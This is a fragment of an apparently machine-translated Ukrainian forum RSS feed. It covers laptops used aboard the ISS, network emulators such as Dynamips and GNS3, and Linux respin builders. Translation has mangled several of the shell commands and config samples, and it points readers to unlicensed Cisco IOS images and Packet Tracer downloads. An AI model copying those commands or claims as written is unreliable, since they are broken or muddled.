себе зарекомендували.&lt;/p&gt;
						&lt;p&gt;Звідси випливає ряд цікавих особливостей. Якщо спочатку інноваційні комп&#039;ютерні технології широко застосовувалися в космосі, то сьогодні темп значно сповільнилося. За непотрібністю. Додатків для управління того ж МКС достатньо ресурсів для утримання ситуації під контролем. Нам же, техноманьяком, подавай шестиядерні процесори, гігабайти оперативної пам&#039;яті і кілька відеокарт. Тільки от надійність космічних пристроїв не йде ні в яке порівняння з наземними аналогами.&lt;br /&gt;Крутіше тільки яйця&lt;/p&gt;
						&lt;p&gt;Використовувані в космосі ноутбуки зовсім не ті, що продаються в магазинах. Купивши сучасний Lenovo ThinkPad з процесором Core i5, ми не отримаємо того ж рівня надійності, який отримують космонавти і астронавти. В основу будь-якого &amp;quot;зоряного&amp;quot; лептопа входить жорсткий захисний каркас з композитних матеріалів Roll-cage. Він досить легкий і при цьому неймовірний міцний. Завдяки використанню цього каркаса із суміші вуглецевого і скляного волокна ноутбуки ThinkPad можуть витримати падіння з висоти під два метри або тиск вагою в сто кілограмів. Крім того, в таких космогаджетах використовується спеціальна система захисту жорсткого диска, що складається з чотирьох елементів. Крім обумовленого каркаса Roll-cage, знижує ймовірність пошкодження ноутбучного &amp;quot;заліза&amp;quot; на 30%, застосовується система Active Protection System, що пом&#039;якшує демпфуючі пластикові напрямні, і кожух з металевої сітки. Технологія Active Protection System представляє собою спеціальний чіп, розпаяний на материнській платі. Він відстежує всі коливання на ноутбуці, і в разі якщо відбувається сильний поштовх або вібрація, протягом 500 мілісекунд чіп подасть сигнал на зупинку запису і читання на HDD, тим самим запобігши втрату даних. Демпфуючі пластини потрібні для того, щоб HDD був щільніше затиснутий в корпусі ноутбука, уникаючи зайвих вібрацій. Вони служать амортизаторами при невеликих поштовхах і забезпечують до 40% більш ефективний захист, ніж аналогічні пластини в звичайних ноутбуках. Нарешті, останньою межею при захисті HDD є щільна металева сітка, яка огортає накопичувач. Вона оберігає жорсткий диск від запилення і запобігає накопичення статичної електрики. За охолодження цих спеціальних ThinkPad відповідає потужна система термоконтроля, що включає в себе кілька теплових трубок, по яких &amp;quot;бігає&amp;quot; спеціальна рідина. Додатково система охолоджується чотиришвидкісним вентилятором з датчиком температури, який ретельно стежить за термальним режимом і в разі чого збільшує оберти &amp;quot;Карлсона&amp;quot;.&lt;br /&gt;Чому не Apple?&lt;/p&gt;
						&lt;p&gt;Американська нація буквально схиблена на продукції Apple, і, без сумніву, &amp;quot;надкушений яблучка&amp;quot; стали національним брендом (якщо не бзіком). Чому ж у космос не полетіли симпатичні MacBook? Точної відповіді у нас немає, однак можна припустити, що на початку 90-х продукція IBM здавалася надійніше. Ну а далі все понеслося сніговим комом - програми, написані під x86-сумісні процесори i386, було б важко перенести на MacBook з процесором абсолютно іншої архітектури - PowerPC. Саме тому нічого міняти так і не зважилися, і знову віддали перевагу саме ThinkPad, а не продукції старовини Стіва. Величезні програмні бази, що залишилися з першого покоління ThinkPad, без проблем були запущені (згодом і доповнені) і розширені на сучасних моделях з Intel Pentium III і Intel Pentium M. Ось тому Apple MacBook - це пристрої швидше стильні і гламурні, ніж максимально захищені і пристосовані до екстремальних умов. А в космосі, як і в хокеї, немає місця &amp;quot;слабкої ланки&amp;quot;.&lt;br /&gt;Космічна павутина&lt;/p&gt;
						&lt;p&gt;Очевидно, що велика кількість комп&#039;ютерної техніки на станції МКС має бути якось пов&#039;язано. А тому кораблю життєво необхідна цілісна мережева структура з певною рівневої архітектурой.Первий рівень відповідає за керування в масштабах МКС. При цьому і тут передбачено поділ на кілька каналів. Є основний, резервний і запасний. Як бачиш, надійність - знову-таки головний критерій космічних технологій. У будь-який момент часу космонавт може підключити робочий ноутбук до першого мережевого рівня. Другий ступінь архітектури управляє модулями корабля, а також певними підсистемами (електроживлення, термоконтроль). Нарешті, останній, третій рівень відповідає за показники датчиків з бортових механізмів станції.&lt;/p&gt;
						&lt;p&gt;Вся архітектура заснована на наборі стандартних шин обміну інформації. На сьогоднішній момент використовується двоканальний інтерфейс MIL1553B. Один канал працює, інший підстраховує у разі відмови першого.&lt;br /&gt;Заходимо на посадку&lt;/p&gt;
						&lt;p&gt;Ось і виходить, що якщо на поверхні Землі женуться за обчислювальною потужністю, то на її орбіті - за надійністю. Нібито &amp;quot;залізо&amp;quot; в космосі живе своїм неспішної життям. Якщо у жителів блакитної планети практично в кожному будинку є десктоп в рази продуктивніше того ж IBM ThinkPad, то на МКС це не головне. Бути може, саме через &amp;quot;слабкості&amp;quot; комп&#039;ютерних компонентів ми поки ще не почали настільки масштабні міжпланетні подорожі. Але якщо порівняти історію космонавтики з розвитком комп&#039;ютерних технологій, то від першого польоту Юрія Олексійовича Гагаріна до наших днів пройшло всього 59 років. Так що є певна частка оптимізму в надії на те, що в майбутньому людська раса обов&#039;язково побачить нові, загадкові і шалено цікаві світи.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; У кишені космонавта&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Крім звичних всім ноутбуків в космосі також використовувалися і компактніші персональні електронні пристрої. У 2004 році компанія HP за договором з NASA оснастила астронавтів своїми кишеньковими комп&#039;ютерами HP iPAQ h5500. Дані пристрої надійшли на борт МКС у кількості двох штук і використовувалися за прямим призначенням - на них астронавти й космонавти вели щоденники, стежили за календарем, використовували КПК для перевірки електронної пошти. Звичайно ж, все людське хлопцям з МКС не чуже, тому кишенькові комп&#039;ютери вони також використовували для прослуховування MP3-музики, перегляду сімейних фотографій і читання електронних книг.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:15:35 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=19#p19</guid>
		</item>
		<item>
			<title>Навчання - світло і висока зарплата: огляд програмних емуляторів мереж</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=18#p18</link>
			<description>&lt;p&gt;Навчання - світло і висока зарплата: огляд програмних емуляторів мережевого устаткування Cisco Systems і Juniper Networks&lt;br /&gt;Щоб навчитися працювати з &amp;quot;серйозним&amp;quot; мережевим обладнанням, зовсім необов&#039;язково мати тугий гаманець. Можна скористатися спеціальними емуляторами, повністю імітують потрібну середу, а то й цілі мережі.&lt;br /&gt;Packet Tracert&lt;/p&gt;
						&lt;p&gt;Розробник: Cisco Systems Inc.&lt;br /&gt;Web: cisco.com / web / learning / netacad / course_catalog / PacketTracer.html&lt;br /&gt;ОС: Windows XP/Vista/7, Linux (Ubuntu, Fedora)&lt;br /&gt;Ліцензія: безкоштовно для зареєстрованих викладачів і студентів курсів&lt;/p&gt;
						&lt;p&gt;Уміння працювати з обладнанням Cisco завжди було жирним плюсом при прийомі на роботу, проте сплатити курси або придбати Циско (навіть б / у) може далеко не кожен. Ймовірно, тому кількість котячих емуляторів зростає з року в рік, і вони користуються популярністю у адмінів і охочих ними стати. Використовуючи емулятор, можна самостійно підготуватися до отримання сертифікатів CCNA (Cisco Certified Network Associate, Сертифікований Cisco Мережевий Спеціаліст), &amp;quot;перепробувавши&amp;quot; всі доступні девайси і понабудовували мережу.&lt;/p&gt;
						&lt;p&gt;Огляд почнемо з офіційною розробки Cisco - емулятора Packet Tracert, пропонованого відділенням Networking Academy, що відповідають за освіту і підготовку різних курсів. Завдання програми: допомогти закріпити на практиці отримані студентом теоретичні навички. Для її вирішення PT володіє всім необхідним, дозволяючи &amp;quot;будувати&amp;quot; мережі різної складності з практично необмеженою кількістю пристроїв. Всі установки здійснюються за допомогою логічної діаграми мережі, для симуляції представлений весь спектр обладнання, що випускається Cisco (роутери, свитчи, точки доступу і т.п.). Можна змінювати налаштування об&#039;єктів, моделювати потоки даних та багато іншого. Підтримується велика кількість протоколів і технологій, що використовуються в обладнанні Cisco (повний список дивися в документації на сайті).&lt;/p&gt;
						&lt;p&gt;Робота з обладнанням хоч і віртуальна, але виглядає так, ніби доводиться використовувати реальні пристрої. Можна додавати плати розширення, настроювати параметри в командному рядку або використовуючи графічний інтерфейс. Весь процес обміну даними представлений у вигляді діаграм і таблиць, що допомагає візуально оцінити поточні настройки і роботу устаткування.&lt;/p&gt;
						&lt;p&gt;Офіційно у вільному доступі Packet Tracert не знайти, він призначений тільки для зареєстрованих викладачів і студентів курсів (його можна знайти на дисках, які додаються до деяких книжках за цісковскім курсом). Але - нехитрий запит до Гуглу, і потрібна програма буде у тебе на харді. Під час установки ніяких ключів не потрібно, сам процес стандартний.&lt;/p&gt;
						&lt;p&gt;Всі настройки проводяться в великому вікні посередині. Внизу зліва знаходяться групи пристроїв, після вибору трохи правіше з&#039;являються самі пристрої. Відзначаємо потрібне і подвійним клацанням на вільному місці в полі посередині переносимо його на карту мережі. Підтримка drag&#039;n&#039;drop робить процес дуже простим, пристрої потім можна рухати, видаляти і т.п. Зручно, що PT самостійно пов&#039;язує деякі девайси, наприклад, при появі Wireless світча до нього автоматично підключаються всі пристрої, що підтримують цей вид з&#039;єднання. При протяжці кабелю вибираємо порт, до якого його підключаємо. Один із значків відповідає за автоматичне визначення типу з&#039;єднання, що прискорює складання мережі на стадії вивчення. Якщо в процесі буде допущена помилка, то користувач отримує попередження з коротким описом (наприклад, немає вільного роз&#039;єму).&lt;/p&gt;
						&lt;p&gt;Поки всі налаштування логічної мережі проводилися у вкладці Logical Workspace (Ctrl L). Щоб перейти до фізичного пристрою і подивитися порядок підключення, слід вибрати у верхньому лівому куті вкладку Physical Workspace (Ctrl P). Також PT надає два режими відображення роботи мережі: Realtime Mode (Ctrl R) і Simulations Mode (Ctrl S). Перемикання проводиться за допомогою ярликів у правому нижньому куті або гарячих клавіш. У Realtime мережа працює у звичайному режимі, в режимі Simulations можна спостерігати і контролювати процеси, що відбуваються в мережі (роботу пристроїв, інтервали часу, механізми передачі даних і т.д.) Майстер Activity Wizard допоможе створити власні навчальні сценарії.&lt;/p&gt;
						&lt;p&gt;Залишилося додати, що передбачена робота в многопользовательском режимі, а також є декілька посібників по налаштуванню Cisco і довідкова система, яка допомагає розібратися у всіх можливостях.&lt;br /&gt;Емулятор Dynamips&lt;/p&gt;
						&lt;p&gt;Розробник: OpenSource&lt;br /&gt;Web: wwwipflow.utc.fr/index.php/Cisco_7200_Simulator&lt;br /&gt;ОС: Windows 2k/XP/Vista, x32/x64 Linux, Mac OS X&lt;br /&gt;Ліцензія: GNU GPL&lt;/p&gt;
						&lt;p&gt;Проект Dynamips стартував у серпні 2005 року як емулятор маршрутизатора Cisco 7200 на ПК і призначався для перевірки конфігурації перед використанням на цьому обладнанні і для навчання. Сьогодні Dynamips може емулювати та інші платформи Cisco - серії 3600, 3700 і 2600. Причому з вибором різних варіантів пристроїв: CPU (MIPS64 і PowerPC), RAM (DRAM, Packet SRAM, NVRAM), різних типів карт і портів. Передбачена можливість створення віртуальних мостів і комутаторів. Головна особливість - імітованому пристрій можна підключити до реальної мережі, для чого один з виходів віртуального маршрутизатора зв&#039;язується з реальною мережевою картою. Робота в режимі гіпервізора дозволяє розподілити навантаження на кілька систем, адже IOS (Internet Operating System) образи повністю завантажуються в ОЗУ і при великій кількості віртуальних систем відбирають багато ресурсів.&lt;/p&gt;
						&lt;p&gt;Потрібний пакет доступний у репозиторіях деяких дистрибутивів Linux. Для захоплення трафіку використовується бібліотека pcap, при установці в Windows потрібно самостійно інсталювати WinPCAP. У Ubuntu / Debian установка проста:&lt;/p&gt;
						&lt;p&gt;$ Sudo apt-get install dynamips&lt;/p&gt;
						&lt;p&gt;Всі параметри Dynamips легко дізнатися, запустивши його з ключем &#039;- help&#039;. За замовчуванням емулюється Cisco 7206VXR з NPE-200 і 256 Мб ОЗУ DRAM. Щоб вказати іншу платформу, слід використовувати параметр &#039;-P&#039; (наприклад, &amp;quot;-P 3600&amp;quot;). Додатковий ключ &#039;-t&#039; дозволяє &amp;quot;змінити&amp;quot; нутрощі віртуального маршрутизатора (залежно від обраного типу аргументи &#039;-t&#039; будуть різні). Для запуску знадобляться реальні IOS образи Cisco, які не є частиною пакету, і їх необхідно викачувати окремо (легко знаходяться гуглом, в Мережі доступні збірники по кілька гигов). Іноді IOS-образи поставляються в стислому вигляді, і перед завантаженням їх потрібно розпакувати:&lt;/p&gt;
						&lt;p&gt;$ Unzip-p c7200-g6ik8s-mz.124-2.T1.bin&amp;gt; c7200.image&lt;/p&gt;
						&lt;p&gt;Запускаємо:&lt;/p&gt;
						&lt;p&gt;$ Dynamips c7200.image&lt;/p&gt;
						&lt;p&gt;Але в плані налаштувань Dynamips не дуже зручний, щоб створити на його основі мережу з декількох маршрутизаторів, доведеться чимало попрацювати. Це завдання можна полегшити за допомогою Dynagen, який є текстовим фронт-ендом до Dynamips. Використовуючи простий файл опису віртуального середовища, ми можемо легко з&#039;єднати декілька пристроїв. Головне, що всі установки зібрані в одному місці, мають простий синтаксис і легко редагуються.&lt;/p&gt;
						&lt;p&gt;$ Nano v_router.net&lt;/p&gt;
						&lt;p&gt;# Опис вузла, на якому встановлений Dynamips&lt;br /&gt;[Localhost]&lt;br /&gt;# Тип роутера&lt;br /&gt;[[7200]]&lt;br /&gt;# Шлях до IOS-файлу&lt;br /&gt;image = / home/grinder/images/c7200.image&lt;br /&gt;# Загальні параметри, в даному випадку платформа і RAM, при необхідності всередині роутера можна вказувати специфічні налаштування&lt;br /&gt;npe = npe-400&lt;br /&gt;ram = 160&lt;/p&gt;
						&lt;p&gt;# Перший роутер&lt;br /&gt;[[Router R1]&lt;/p&gt;
						&lt;p&gt;# Вказуємо підключення, в нашому випадку інтерфейс Serial1 / 0 на R1 буде підключений до Serial1 / 0 R2&lt;br /&gt;s1 / 0 = R2 s1 / 0&lt;/p&gt;
						&lt;p&gt;[[Router R2]]&lt;br /&gt;# Залишаємо все за умовчанням&lt;/p&gt;
						&lt;p&gt;Це найпростіший приклад, щоб зрозуміти суть налаштувань. У &amp;quot;бойовому&amp;quot; конфіги може бути з десяток найрізноманітніших роутерів і конфігурацій. Наприклад, щоб зв&#039;язати один з виходів віртуального маршрутизатора з мережевим інтерфейсом реальної чи віртуальної системи, пишемо:&lt;/p&gt;
						&lt;p&gt;s2 / 0 = NIO_linux_eth: eth1&lt;/p&gt;
						&lt;p&gt;Спочатку запускаємо dynamips в режимі гіпервізора (після налагодження можна стартанути у фоні, додавши&#039;&amp;amp;&#039;):&lt;/p&gt;
						&lt;p&gt;$ Sudo dynamips-H 7200&lt;br /&gt;Cisco Router Simulation Platform (version 0.2.8-RC2-amd64)&lt;br /&gt;Copyright (c) 2005-2007 Christophe Fillot.&lt;br /&gt;Build date: May вересня 2009 18:06:28&lt;/p&gt;
						&lt;p&gt;ILT: loaded table &amp;quot;mips64j&amp;quot; from cache.&lt;br /&gt;ILT: loaded table &amp;quot;mips64e&amp;quot; from cache.&lt;br /&gt;ILT: loaded table &amp;quot;ppc32j&amp;quot; from cache.&lt;br /&gt;ILT: loaded table &amp;quot;ppc32e&amp;quot; from cache.&lt;br /&gt;Hypervisor TCP control server started (port 7200).&lt;/p&gt;
						&lt;p&gt;Тепер Dynagen:&lt;/p&gt;
						&lt;p&gt;$ Dynagen v_router.net&lt;/p&gt;
						&lt;p&gt;Після завантаження образів (процес буде виводитися в консолі, де запущений dynamips) і налаштувань віртуальних роутерів отримаємо запрошення консолі управління. Ввівши знак питання або help, отримаємо довідку по командах. Набравши &amp;quot;help команда&amp;quot;, дізнаємося про всі параметри конкретної команди. Підтримується автодоповнення вводу за допомогою клавіші &amp;lt;Tab&amp;gt;. Для зупинки, запуску, перезапуску, припинення і продовження застосовуємо команди start, stop, reload, suspend, resume із зазначенням імені роутера або ключа / all для всіх пристроїв:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; Reload R1&lt;/p&gt;
						&lt;p&gt;Усі команди РеЄсТрОзАлЕжНі, тому потрібно бути уважнішими. Переглянемо список працюючих маршрутизаторів:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; List&lt;br /&gt;Name Type State Server Console&lt;br /&gt;R1 7200 running localhost: 7200 2000&lt;br /&gt;R2 7200 running localhost: 7200 2001&lt;/p&gt;
						&lt;p&gt;Тепер за допомогою команди:&lt;/p&gt;
						&lt;p&gt;$ Telnet localhost 2000&lt;/p&gt;
						&lt;p&gt;Можемо підключитися до порту, зазначеному в полі Console. Хоча простіше підключитися, вказавши ім&#039;я пристрою в рядку запрошення Dynagen:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; Telnet R1&lt;/p&gt;
						&lt;p&gt;В окремому вікні відкриється вікно терміналу, в якому вже керуємо настройками.&lt;/p&gt;
						&lt;p&gt;Кілька віртуальних маршрутизаторів можуть нехило завантажити систему. Причому незалежно від реально виконується роботи. Це відбувається тому, що Dynamips не знає, коли роутер виконує корисну роботу, а коли знаходиться в режимі очікування. Команда idlepc дозволяє проаналізувати IOS-образи в дії і визначити цикли простою. При першому запуску значення не встановлено:&lt;/p&gt;
						&lt;p&gt;*** Warning: Starting R1 with no idle-pc value&lt;/p&gt;
						&lt;p&gt;Потрібну цифра idle-pc можна отримати, ввівши в консолі dynagen команду &amp;quot;idlepc get імя_роутера&amp;quot;:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; Idlepc get R1&lt;/p&gt;
						&lt;p&gt;Буде видано кілька значень, найбільш оптимальні відмічені знаком &amp;quot;*&amp;quot;. Далі виконання команди зупиниться, і буде потрібно ввести одну з цифр, що відповідають обраному idlepc. Після цього його значення буде додано до виконуючої процесу. При запуску Dynamips вручну значення idlepc вказується за допомогою параметра &#039;- idle-pc =&#039;, як варіант, в секції роутера конфіга Dynagen дописуємо:&lt;/p&gt;
						&lt;p&gt;idlepc = 0x6076a394&lt;/p&gt;
						&lt;p&gt;Але краще просто зберегти значення, щоб воно зчитується при наступних завантаженнях:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; Idlepc save R1 db&lt;/p&gt;
						&lt;p&gt;Повторно переглянути весь список idlepc просто:&lt;/p&gt;
						&lt;p&gt;=&amp;gt; Idlepc show R1&lt;/p&gt;
						&lt;p&gt;Все, маршрутизатор можна настроювати.&lt;/p&gt;
						&lt;p&gt;Проект обріс декілька субпроектів, що роблять використання Dynagen більш зручним. Наприклад, gDynagen забезпечує єдину консоль для введення команд для Dynamips Dynagen. Генератор налаштувань для Dynagen - confDynagen додає новий режим конфігурування, який дає змогу змінювати параметри Dynagen &amp;quot;на льоту&amp;quot;, без зупинки віртуальної мережі.&lt;br /&gt;Симулятор GNS3&lt;/p&gt;
						&lt;p&gt;Розробник: OpenSource&lt;br /&gt;Web: ns3.net&lt;br /&gt;ОС: Windows 2k/XP/Vista, * nix, Mac OS X&lt;br /&gt;Ліцензія: GNU GPL&lt;/p&gt;
						&lt;p&gt;GNS3 (graphical network simulator) - дуже потужний симулятор, що випускається під вільною ліцензією і дозволяє емулювати мережі більшого розміру. Корисний адміністраторам і інженерам, а також користувачам, які готуються до здачі сертифікатів Cisco (CCNA, CCNP, CCIP, CCIE) і Juniper Networks (JNCIA, JNCIS, JNCIE). Щоб забезпечити максимальну функціональність, також слід встановити Dynamips, Dynagen і віртуальну машину Qemu. Для захоплення пакетів потрібно Wireshark (wireshark.org). Крім образів Cisco IOS, GNS3 вміє працювати з olive-образами JunOS (juniper.net / ru / ru / products-services / nos / junos) - операційки, використовуваної в обладнанні компанії Juniper Networks.&lt;/p&gt;
						&lt;p&gt;Можлива емуляція простих Ethernet, ATM і Frame Relay світчей і фаєрів (ASA, PIX). Як і у випадку з Dynamips, легко підключити віртуальний світч до мережевої карти реальної чи віртуальної системи. І головне - всі налаштування виробляються в інтуїтивно зрозумілою графічної середовищі.&lt;/p&gt;
						&lt;p&gt;Пакет GNS3 вже доступний у репозиторіях більшості основних дистрибутивів Linux. У Debian / Ubuntu для установки набираємо:&lt;/p&gt;
						&lt;p&gt;$ Sudo apt-get install gns3&lt;/p&gt;
						&lt;p&gt;Щоб використовувати найсвіжіші версії, слід підключити репозиторій gpl.code.de. Детальні інструкції для свого дистрибутиву шукай за адресою gpl.code.de / oswiki / GplcodedeApt. Для самостійної розробки пакунків буде потрібна наявність Python і ряду бібліотек: Qt, PyQt та інших.&lt;/p&gt;
						&lt;p&gt;При першому запуску зустрічає Setup Wizard, що пояснює дві основні вимоги до запуску програми: перевірити правильність шляху в Dynamips і при необхідності скоригувати його. Плюс завантаження IOS-образів.&lt;/p&gt;
						&lt;p&gt;Вікно програми можна назвати стандартним. Зліва в &amp;quot;Nodes Types&amp;quot; знаходяться значки пристроїв, які простим перетягуванням поміщаємо в вікно посередині, будуючи віртуальну мережу. Подвійним клацанням викликаємо вікно властивостей, де налаштовуються специфічні параметри для конкретного роутера, і, в тому числі, додаються адаптери. Контекстне меню дозволяє запустити, зупинити пристрій, отримати IDLE PC, вийти в консоль. У панелі зверху доступні примітивні інструменти малювання (вставка кола, прямокутника, малюнка). Мережа, що складається з одних маршрутизаторів, не дуже наочна, інші компоненти мережі (сервери, принтери тощо) додаються через &amp;quot;Edit - Symbol Manager&amp;quot;.&lt;/p&gt;
						&lt;p&gt;Праве вікно &amp;quot;Topology Summary&amp;quot; призначено для швидкої навігації, тут виводяться всі девайси (працюючі підсвічуються зеленим значком). Якщо образу, відповідного вибраного пристрою, в колекції GNS3 немає, то при спробі додати такий роутер отримаємо попередження. Щоб додати IOS-образи або вказати місцезнаходження гіпервізорів Dynamips, відкриваємо &amp;quot;Edit - IOS images and hypervisors&amp;quot;. Вказуємо на image-файл, при цьому платформа, модель і кількість RAM відображаються автоматично. Ці значення будуть використані за замовчуванням, їх можна скоригувати. У полі IDLE PC прописується потрібне значення (якщо воно відоме). Внизу посередині знаходиться консоль Dynagen, призначена для безпосереднього введення команд.&lt;/p&gt;
						&lt;p&gt;Після нанесення на карту всіх пристроїв за допомогою консолі приступаємо до їх налаштування, зокрема, встановлюємо зв&#039;язку клацанням по &amp;quot;Add a link&amp;quot;. Створені налаштування зберігаються у файл для повторного використання.&lt;/p&gt;
						&lt;p&gt;Варто відзначити, що є ще один проект - Dynagui, наочно показує підключення між роутерами. Але по функціональності він не дотягує до GNS3, а останнє оновлення датована 2007 роком.&lt;br /&gt;Висновок&lt;/p&gt;
						&lt;p&gt;Не варто нехтувати програмними емуляторами мережевого устаткування і недооцінювати пропоновані ними можливості, тим більше, що розробники Cisco Systems та Juniper Networks настійно рекомендують їх використовувати.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Деякі команди маршрутизаторів Cisco&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; help - довідка за всім командам&lt;br /&gt;&amp;#160; &amp;#160; setup - запуск майстра конфігурування маршрутизатора&lt;br /&gt;&amp;#160; &amp;#160; show config - перегляд поточних налаштувань&lt;br /&gt;&amp;#160; &amp;#160; configure terminal - вхід в режим налаштування хоста&lt;br /&gt;&amp;#160; &amp;#160; enable [номер рівня] - перехід до певного рівня налаштувань&lt;br /&gt;&amp;#160; &amp;#160; hostname Router - вводимо ім&#039;я маршрутизатора&lt;br /&gt;&amp;#160; &amp;#160; ip http server - запуск веб-інтерфейсу&lt;br /&gt;&amp;#160; &amp;#160; ip route 172.1.1.0 255.255.255.0 10.1.1.1 permanent - статичний маршрут&lt;br /&gt;&amp;#160; &amp;#160; clear ip route * - видалення всіх маршрутів&lt;br /&gt;&amp;#160; &amp;#160; show ip route - перегляд маршрутів&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Консоль Cisco підтримує автодоповнення з використанням табуляції, тому повністю вводити команди не обов&#039;язково.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Проекти одним рядком&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Network Simulator - симулятор, призначений для вивчення роботи мережевих протоколів і маршрутизації. Опціонально включає модуль анімації nam (network animator).&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Xentaur - рішення для організації мереж, які об&#039;єднують реальні пристрої, емулятори та віртуальні машини Xen.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; NetSim - симулятор роботи по протоколах нижнього рівня, з 3D візуалізацією процесів.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; ProfSIMs, RouterSim, CertExams.com - комерційні симулятори та візуалізатори, що дозволяють підготуватися для здачі сертифіката Cisco.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; INFO&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; За допомогою програми Packet Tracert можна будувати цілі мережі між віртуальними офісами.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; У Packet Tracert доступні інструменти малювання, які допоможуть краще уявити мережу на карті. Так, наприклад, окремі елементи або групи можна розфарбувати різними кольорами.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; WWW&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Сайт проекту Dynagen - dynagen.org&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Відмінні відеопосібники по роботі з Dynamips і Dynagen - blindhog.net&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Характеристики IOS пристроїв Cisco - tools.cisco.com / ITDIT / CFN / Dispatch&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Список репозиторіїв для GNS3 - gpl.code.de / oswiki / GplcodedeApt&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Сайт проекту Wireshark - wireshark.org&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Певне уявлення по командах IOS можна отримати за адресою: wwwopennet.ru / docs / RUS / cisco_basic&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; WARNING&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Деякі старі версії IOS не підтримують команду idlepc.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:14:18 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=18#p18</guid>
		</item>
		<item>
			<title>Виконавці бажань: огляд конструкторів популярних Linux дистрибутивів</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=17#p17</link>
			<description>&lt;p&gt;Різноманіття - блиск і злидні світу Linux. Distrowatch.com знає про 649 дистрибутивах (включаючи всі Респін) - але я впевнений, що знає він все-таки не про все. А що, якщо серед цього великого безлічі немає того, який потрібен саме тобі? Не біда! Завжди можна зробити свій десятеро, причому не докладаючи особливих зусиль.&lt;br /&gt;Введення&lt;/p&gt;
						&lt;p&gt;Створення свого дистрибутива - справа витратна, клопітка і не завжди виправдане. На відміну від створення Респін - злегка модифікованої версії існуючого дистрибутиву. Для чого може знадобитися створювати свій Респін? Припустимо, якщо ти хочеш зробити LiveCD з трохи іншим набором ПО (ті ж кодеки, наприклад), іншим оформленням або просто хочеш мати інсталятор з усіма оновленнями.&lt;/p&gt;
						&lt;p&gt;Всі кошти для створення Респін можна умовно розділити на 2 категорії: веб і локальні. Локальні, у свою чергу, діляться на мають GUI і вимагають вдумливого читання манів:). З веб категорії заслуговують на увагу:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * SUSE STUDIO - засіб для створення Респін однойменного дистрибутиву;&lt;br /&gt;&amp;#160; &amp;#160; * RECONSTRUCTOR - проект для створення Респін на основі Debian або Ubuntu;&lt;br /&gt;&amp;#160; &amp;#160; * INSTALINUX - інструмент для створення netinstall-систем на базі одного з шести дистрибутивів.&lt;/p&gt;
						&lt;p&gt;З категорії локальних додатків можна відзначити:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * UBUNTU CUSTOMIZATION KIT - GUI-прога для створення Респін Ubuntu;&lt;br /&gt;&amp;#160; &amp;#160; * RECONSTRUCTOR - офлайнова версія однойменного онлайн проект;&lt;br /&gt;&amp;#160; &amp;#160; * REVISOR - GUI-прога для створення Респін Fedora;&lt;br /&gt;&amp;#160; &amp;#160; * LIVECD-CREATOR - CLI-прога для створення Респін Fedora.&lt;/p&gt;
						&lt;p&gt;Міняємо колір хамелеона&lt;/p&gt;
						&lt;p&gt;SUSE STUDIO - засіб від Novell, що дозволяє виробникам програмного забезпечення легко створювати закінчені програмні рішення для споживачів. Користувач програмного рішення просто запускає його у віртуальній машині (або з LiveCD / LiveUSB) і отримує робоче програму без необхідності установки й настроювання під нього ОС (що допоможе уникнути багатьох помилок).&lt;/p&gt;
						&lt;p&gt;Реєстрація на сайті Suse Studio можлива тільки по інвайт (благо, інвайт надсилають швидко - мені прийшов протягом години). Логінитися на сайті можна по OpenID або використовуючи обліковий запис Google, Yahoo або Novell. Після реєстрації в системі для зберігання своїх збірок виділяється 15 Гб місця. Збірка свого Респін не викликає ускладнень і складається з 4 кроків:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;1. Вибір імені та основи для Респін. В якості основи можуть виступати OpenSuse 11.2, SUSE Linux Enterprise 10 і SUSE Linux Enterprise 11 як в 32-х, так і 64-х бітному виконанні. В якості DE можна вибрати Gnome, KDE або IceWM, або ж взагалі не використовувати середу робочого столу.&lt;br /&gt;&amp;#160; &amp;#160;2. Наступний крок - вибір пакетів, з яких буде складатися наш Респін. Радує, що система сама займається розв&#039;язанням залежностей. На цій же сторінці можна підключити сторонні репозиторії або завантажити окремі RPM. У стандартних репозиторіях OpenSuse є близько 8000 пакетів - в принципі, є з чого вибрати. Зручно, що при виборі пакетів відображається розмір як LiveCD, так і вже встановленої системи.&lt;br /&gt;&amp;#160; &amp;#160;3. Третій крок - конфігурація. На семи вкладках можна налаштувати практично всі параметри системи: мова і часовий пояс, додати користувача, змінити лого або шпалери, змінити runlevel, налаштувати сервера БД (тільки MySQL та PostgreSQL), включити автологін і додати в автозапуск програми, налаштувати параметри віртуальної машини, задати скрипти, що 